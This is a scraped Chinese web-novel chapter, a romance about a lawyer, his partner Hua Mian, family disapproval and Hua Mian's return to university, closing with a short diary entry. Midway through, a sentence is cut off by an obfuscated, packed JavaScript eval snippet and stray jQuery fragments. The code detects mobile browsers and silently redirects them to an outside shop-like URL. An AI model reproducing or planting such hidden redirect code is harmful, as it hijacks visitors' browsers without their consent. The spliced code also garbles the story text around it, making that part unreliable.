默认冷灰
24号文字
方正启体

5. 05 段老师养花日记(2)

作者:慢梨本书字数:K更新时间:
    林见清是北方人,儿化音说得很溜,平时称呼花眠的时候,也喜欢加个儿化音,叫“小花儿”。


    段泽洲对此有过不满:“你别跟叫小猫儿小狗儿一样行不行?”


    林见清说:“怎么了?小猫儿小狗儿怎么了?你在我眼里也是小猫儿小狗儿。”


    段泽洲无语:“我说不过你,老太太。”


    林见清说:“你知道就行,少来招惹我。”


    起初,段泽洲的父母不怎么愿意接受这段感情——更明确地说,是不想接受花眠这个人。


    倒不是因为花眠和沈重的那些纠葛,而是……


    “咱们段家,没有他们沈家有钱,也没有钟家会站队,我们不过大富大贵、手眼通天的生活,从搬出大院的那一天,我和你爸就决定了,我们这辈子只想过安安稳稳的生活。”


    选择了花眠,在某种程度上就算是和沈重撕破脸了。沈重这种神经病,会做出什么事来,没人能够预测。


    段泽洲以为父母在担心这些,年轻气盛时什么都敢想、什么都敢说:“怕沈家?他们管教不好自己的儿子,不觉得丢脸吗——”


    “谁怕他们?”段恒淡淡打断道,“我这半辈子,身正不怕影子斜,他就算真想找我麻烦,也没那么容易抓我把柄。倒是你,小洲,你有这个底气吗?”


    林见清循循善诱:“小洲,如果你只是想和那个孩子玩玩,我和老段是不可能同意的——咱们段家,不养金丝雀。”


    段泽洲怒道:“谁养金丝雀?!”


    林见清说:“在别人看来,你就是在养金丝雀。”


    她抢在段泽洲再次反驳之前开口:“如果你觉得不是,那你告诉我,如果离开了你,离开了其他所有人,花眠有没有自己独立生活的能力?”


    林见清从来都不是好说话的人,但她也从不会强词夺理。


    她所说的话,字字认真:“花眠连大学都没念完就被沈重……”


    她隐去一些词,只说:“他体验过这个社会吗?除了沈重,他知道别人一样居心叵测、他知道人心险恶吗?你口口声声说不是在养金丝雀,那我问你,花眠手里有钱吗,有身份地位吗?离开了你,他能做什么,他怎么生活?小洲,他不能完全依附于你,他不能做养在温室里的菟丝花。”


    段恒适时接道:“他也未必愿意——如果他愿意,他何必和沈家那孩子闹成这样呢?小洲,你妈说话直,但她说的话,你考虑一下。”


    冷静下来之后,段泽洲认真考虑了父母说的话。


    别的暂且不说,父母总有一点是对的。


    花眠不可能一直依附于他生活。


    花眠……花眠不是愿意做金丝雀的人。


    后来,段泽洲试着和花眠沟通。


    ……话还没说出口,心疼先涌了上来。


    那时的花眠瘦骨嶙峋,抱在怀里时,入手只摸到一把细细的骨头。


    花眠很拘谨地看他,问他怎么了。


    段泽洲用手掌抚着他的头发,温声问:“又快到7月了,快放暑假了。眠眠,等到9月份再开学的时候,你想不想回学校?”


    褪去防备后的花眠眉眼温和又冷淡。他看着段泽洲,眉毛依然习惯性地浅浅皱起。


    “我……”他迟疑地问,“还能回去吗?上次办休学的手续,已经是三年前了。我的学籍……应该没有保留着。”


    段泽洲用指腹抚平他的眉心,低声说:“你想回去,我就帮你想办法。”


    再之后,这个办法没用段泽洲来想,母亲先出手帮他搞定了。


    而作为交换的条件,是花眠要在这剩下的三年大学时光里,重新融入到这个社会。


    只一眨眼,这三年就要结束了。


    这一晚段泽洲回家时,花眠正在剪视频。


    他看到段泽洲手里提着的爱媛,欢天喜地地扑了上来;“我好喜欢吃爱媛!”


    段泽洲掏出一个递给他:“我爸买的。这老头,沉迷上网买水果。”


    他像大型犬一样趴在花眠背上,看着小恋人被压弯了腰,还要费力地“背”着背上的大累赘艰难回到沙发坐下。


    花眠美滋滋地拨开这颗爱媛,连白色的筋都挑得干干净净后,掰了一瓣放到段泽洲嘴里:“好吃吗?”


    段泽洲面容扭曲地说:“酸死我了!”


    花眠不信,自己也掰了一瓣放进嘴里,然后同样面容扭曲地说:“真的好酸!”


    两个人凑合着吃了这个爱媛,期间很是上演了一番尊老爱幼互相谦让,谁都不想让对方少吃一点,总算是把这个酸掉牙的爱媛干掉了。


    段泽洲嘴都麻了:“我在他们那儿吃的也没这么酸啊!”


    花眠已经瘫倒在沙发上了,出个声儿都觉得嘴里难受。


    两个人一坐一躺,默默无言地在沙发上沉默了一会儿。


    几分钟之后,花眠终于觉得自己缓过来了。他从沙发上爬起来,靠在段泽洲肩膀上,说:“今天回去又遭受什么批评啦?”


    段泽洲走律师这条路是被段恒逼的——他们这间律所,是段恒和另一位合伙人一起设立的。


    母亲是一名法医,也任海城医科大学的教授。


    乍听起来会是很可怕的家庭氛围,但好在老头老太太性格都不错,教育孩子也很有自己的方法。


    段泽洲成年之后,他们对待这个唯一的儿子,基本上是抓小放大——大事让段泽洲自己决定,只管些鸡毛蒜皮的小事,像什么吃外卖、吃水果、穿衣服、调整作息之类的,听得段泽洲火大。


    听到花眠的话,段泽洲笑了一下,说:“还是老一套呗,还能说什么。”


    之后,段泽洲思考了几秒钟,又说:“提了一嘴沈重的事。”


    段恒和沈重的父亲、钟意的母亲算是青梅竹马一起长大的,虽说长大之后各自走上了不同的道路,但这么长时间的交情,就算是看着祖上的面子,也总要维持表面上的和平。


    当时段泽洲和沈重闹得那么不愉快,段恒和沈重的父亲也没有撕破脸。


    这些事,花眠都是知道的。


    段泽洲继续说:“你也知道,沈家对沈重没那么看重,所以葬礼办得很简单,也没有请任何人。我爸本来是觉得毕竟也算是有交情,该出席一下,但怕你觉得不舒服,就让我问问你的意思。”


    他用下巴碰了碰花眠的额头,温声说:“你不要觉得这是负担,因为沈家本来也没有邀请。如果你觉得……有什么不好,那你就告诉我。”


    花眠没说话。


    花眠是个体贴也体面的人,这样的沉默,就是他的回答。


    段泽洲明白了他的意思,说:“我给我爸转点钱过去,让他转交给沈伯父吧。”


    花眠张了张嘴,不知想说什么。


    他又沉默了一会儿,那些话咽回了肚子里。


    那晚睡觉时,段泽洲发现卧室里微妙地多了一些东西。


    比如床头上放了一盒头绳,卫生间里多了一瓶果香味的洗发水,小沙发上多了一个柔软的鹅黄色小抱枕。


    渐渐开始有了些两个人一起生活的痕迹。


    他心情很好地拉着花眠坐到床上,指了指自己的侧脸:“亲一下。”


    花眠很乖地靠过去,小鸡啄米一样吧唧亲了一口。


    这天晚上,段泽洲同样不知道花眠什么时候睡着的,次日睡醒后,也同样在自己怀里摸到了一个熟睡的小爱人。


    *


    再之后的日子过得还算安生。


    花眠进入了期末周。


    好在大四的课


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17033515|194592||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    程没那么多,一共只有一门必修和一门选修。


    花眠学习成绩还行,是勉勉强强能拿个最低档奖学金的水平。


    最近他跑学校的次数多了一些,但他还是没办法像其他同学一样整日赖在老师的办公室求他们画些重点,便窝在图书馆,等待好心同学的投喂。


    在同学面前,他不太爱说话,但他长得好看,人也不傲气,人缘还算可以。


    这天他去了一趟宿舍。


    他不住宿舍,一早就退了床,这个床位被其他几位室友改造成了储物间。现在快毕业了,堆满了各色的考研资料和宣讲广告。


    花眠好奇地看了一会儿,笑了笑。


    他的室友有个挺活泼的Alpha,叫柴璇璇,同学们叫他小柴,他总是很不满意,觉得像在叫狗狗。


    小柴挥了挥自己的笔记,说:“借你复印。”


    花眠立刻道:“谢谢你啊。”


    小柴约了女朋友出去吃饭,刚好要出门,便和花眠一道出去。


    路上小柴问起花眠以后的打算:“以后怎么打算?我看你没有准备考研哦?”


    花眠摇了摇头:“没有呢。”


    花眠现在这个学费,还是段泽洲付的。


    他实在不好意思让段泽洲再给他继续支付学费了。


    花眠没有父母,在最该和同龄人放肆交流的年纪又遇人不淑,终于摆脱枷锁后,他身边只有一个段泽洲。


    段泽洲是爱人,是朋友,也是兄长。


    他对花眠有种过度的溺爱,但花眠并不能一直这样心安理得地接受着段泽洲的付出。


    段泽洲曾说给他开间甜品店,反正他喜欢做这些。


    但花眠想了想,还是拒绝了,拒绝的理由也很有趣:“我不想自己开店,我想去别人的店里打工。”


    他到现在仍然愿意这样,只是……毕竟总也不见外人,心里还是有些抵触。


    他想了一会儿,和小柴说:“大概还是先维持现状呢,柴柴。”


    柴璇璇很不满地说:“什么‘柴柴’?不许叫我‘柴柴’!”


    花眠小心地说:“好吧,柴柴。”


    “可恶,花眠!”柴璇璇怒道,“你好烦!”


    花眠笑弯了眼睛。


    *


    段老师养花日记(2)


    果然是腿部骨折了。


    问了一下还是个无父无母的小可怜蛋,段老师发挥了自己出色的同情心,帮他办了入院手续,还垫付了医药费,功德+1(敲木鱼)。


    来的交警还是个老熟人。


    哼哼,别想讹我。


    但这人有点意思哈,他居然主动说是他全责,不关我的事。


    看他如此诚实,段老师又心软了,下楼点了个很好吃的外卖请他吃饭。


    他又不吃,浪费。


    我说:“小朋友,你不好好吃饭,难怪这么瘦。”


    我还吓唬他:“不好好吃饭,你腿也好不了。”


    花眠看我。


    很憔悴,也很平静。


    他没回答我的话,只让我走,说什么我再不走就走不了了。


    说完他又不理我了,盖上被子往头上一蒙,说要睡觉。


    我真的是无语,他床都没摇下来,没见过有人这么睡觉的。


    临走时我不放心,又看了一眼。


    这人维持原样躺在床上。


    看着挺可怜的,连呼吸都很微弱的样子。


    我真是太善良了,我又回去把窗户给他关上了。


    段老师功德+1+1。


    住院部楼下的花坛不知道多久没人清理了,很多花都枯萎了。


    我看了一眼,不知怎么想起了楼上的人。


    他也很像一朵枯萎了的花。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)